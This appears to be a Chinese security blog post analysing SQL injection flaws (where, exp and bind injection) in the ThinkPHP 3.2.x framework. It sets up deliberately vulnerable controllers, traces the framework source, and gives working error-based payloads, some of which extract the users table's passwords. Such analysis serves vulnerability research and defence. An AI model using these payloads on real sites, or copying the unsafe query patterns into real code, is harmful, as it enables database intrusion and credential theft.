ThinkPHP3.2.x SQL注入

初始配置

数据库配置

  • 数据库相关内容配置,文件位置Application/Home/Conf/config.php
<?php return array(     //'配置项'=>'配置值'     //数据库配置信息     'DB_TYPE'   => 'mysql', // 数据库类型     'DB_HOST'   => 'localhost', // 服务器地址     'DB_NAME'   => 'cms', // 数据库名     'DB_USER'   => 'cms', // 用户名     'DB_PWD'    => '20010728', // 密码     'DB_PORT'   => 3306, // 端口     'DB_PARAMS' =>  array(), // 数据库连接参数     'DB_PREFIX' => '', // 数据库表前缀     'DB_CHARSET'=> 'utf8', // 字符集     'DB_DEBUG'  =>  TRUE, // 数据库调试模式 开启后可以记录SQL日志 ); 

where注入控制器配置

控制器配置,文件位置Application/Home/Controller/IndexController.class.php

<?php namespace HomeController; use ThinkController; class IndexController extends Controller {     public function index(){         $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');         $data = M('users')->find(I('GET.id'));         var_dump($data);     } } 

exp注入控制器配置

<?php namespace HomeController; use ThinkController; class IndexController extends Controller {     public function index(){         $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');         $User = D('Users');         $map = array('user' => $_GET['user']);         $user = $User->where($map)->find();         var_dump($user);     } } 

bind注入控制器配置

<?php namespace HomeController; use ThinkController; class IndexController extends Controller {     public function index(){         $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');         $User = M("Users");         $user['user_id'] = I('id');         $data['last_name'] = I('last_name');         $valu = $User->where($user)->save($data);         var_dump($valu);     } } 

ThinkPHP3.2.x SQL注入

exp注入

Payload:http://127.0.0.1/cms/index.php/Home/Index/index?user[0]=exp&user[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

ThinkPHP3.2.x SQL注入

bind注入

Payload:http://127.0.0.1/cms/index.php/Home/Index/index?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&last_name=1

ThinkPHP3.2.x SQL注入

漏洞分析

where注入

从官方文档我们可以知道如果I()方法不存在过滤参数的话会默认使用htmlspecialchars方法进行过滤,但是同时默认使用的htmlspecialchars函数并没有过滤'

跟进ThinkPHP/Common/functions.php,如果$filters不存在就等值于C('DEFAULT_FILTER')而该值正等于htmlspecialchars,后面使用回调函数array_map_recursive对数据进行过滤

ThinkPHP3.2.x SQL注入

继续往下,后面利用array_walk_recursive,如果输入数据是数组的话回调think_filter进行数据进一步过滤

ThinkPHP3.2.x SQL注入

跟进think_filter方法,如果传入的data是下面数组里面的其中一个就在其后面添加一个空格

ThinkPHP3.2.x SQL注入

进入find方法,跟进ThinkPHP/Library/Think/Model.class.php,因为我们传入的是一个数组,并且$pk值不为数组所以我们就可以直接绕过前面的预设定位到_parseOptions

ThinkPHP3.2.x SQL注入

进入_parseOptions方法,定位到_parseType

ThinkPHP3.2.x SQL注入

进入_parseType方法,发现这里对数据进行强制数据类型转换,然后返回给_parseOptions,这里对数据进行强制数据类型转换,然后放回,进行数据类型转换后自然是不存在sql注入,所以需要绕过这个函数的过滤,回到上一步发现只有经过if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))这个判断才会进入_parseType函数过滤,这里可以使用数组随便绕过

ThinkPHP3.2.x SQL注入

继续往下,进入select方法

ThinkPHP3.2.x SQL注入

跟进ThinkPHP/Library/Think/Db/Driver.class.php,定位到buildSelectSql方法

ThinkPHP3.2.x SQL注入

进入buildSelectSql方法,定位到parseSql方法

ThinkPHP3.2.x SQL注入

进入parseSql方法,从$options数组中取出对应的数值在做相对于的处理后拼接到sql语句中,直接执行导致了sql注入漏洞,任意一个一维数组都可以绕过前面的限制但是payload使用的是id[where],因为只有符合对应的数组键值才会取出拼接

ThinkPHP3.2.x SQL注入

拼接后的语句为

SELECT * FROM `users` WHERE 1 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)# LIMIT 1  

这里还有一些可以利用的Payload

?id[group]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23 ?id[field]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23 

exp注入

这里也是使用了find方法进行查询,但很明显的一点就是传入的值一开始就是一个数组,并且这里使用原生的GET来传输数据而不是thinkphp提供的I()方法,其原因是要注入成功必须要传入exp参数,而在上文中分析I()方法是发现会默认对数组一些过滤处理,其中就有exp,而exp后面跟了空格的话会导致注入失败

首先跟进ThinkPHP/Library/Think/Model.class.php中的where方法看看,因为$where是数组而整个where方法其实并没有对该数组什么特别的操作,只是在最后把$where数组赋值给了$options数组

ThinkPHP3.2.x SQL注入

进入find方法,这里和前面跟的一样,并不会对该数组进行过滤,直接看看核心的select,跟进到ThinkPHP/Library/Think/Db/Driver.class.php中的parseSql方法,进入parseWhere方法

ThinkPHP3.2.x SQL注入

此时使用payload时候传入的值$where为:

array(1) {   ["user"]=>   array(2) {     [0]=>     string(3) "exp"     [1]=>     string(46) "=1 and updatexml(1,concat(0x7e,user(),0x7e),1)"   } } 

分析后发现最后会进入到parseWhereItem方法中,在exp的elseif语句中把where条件直接用点拼接,要满足$val是数组,并且索引为0的值为字符串exp,那么就可以拼接sql语句了,所以传入user[0]=exp&user[1]==1 and xxxxxx,造成SQL注入

ThinkPHP3.2.x SQL注入

bind注入

前面分析exp注入的时候,不仅exp那里存在问题,bind也同时存在问题,但是这里会在$val[1]的前面添加:符号导致sql注入失败

ThinkPHP3.2.x SQL注入

进入save方法,跟进ThinkPHP/Library/Think/Model.class.php,定位到update方法

ThinkPHP3.2.x SQL注入

跟进ThinkPHP/Library/Think/Db/Driver.class.php中的update方法,我们发现它也调用了parseWhere方法,结合前面对exp注入的分析,猜测应该还存在bind注入,但是存在一个:阻断了注入

ThinkPHP3.2.x SQL注入

跟进execute方法,看看怎么处理这个:

ThinkPHP3.2.x SQL注入
ThinkPHP3.2.x SQL注入
  • 执行替换操作,将:0替换为外部传进来的字符串,所以让传入参数等于0,这样就拼接了一个:0,然后会通过strtr被替换为1
  • 这里是把:0进行替换为外部传进来的字符串所以我们的payload,这里必须要填0才能消去:

参考文章

戳此查看参考文章

版权声明:玥玥 发表于 2021-08-05 22:52:30。
转载请注明:ThinkPHP3.2.x SQL注入 | 女黑客导航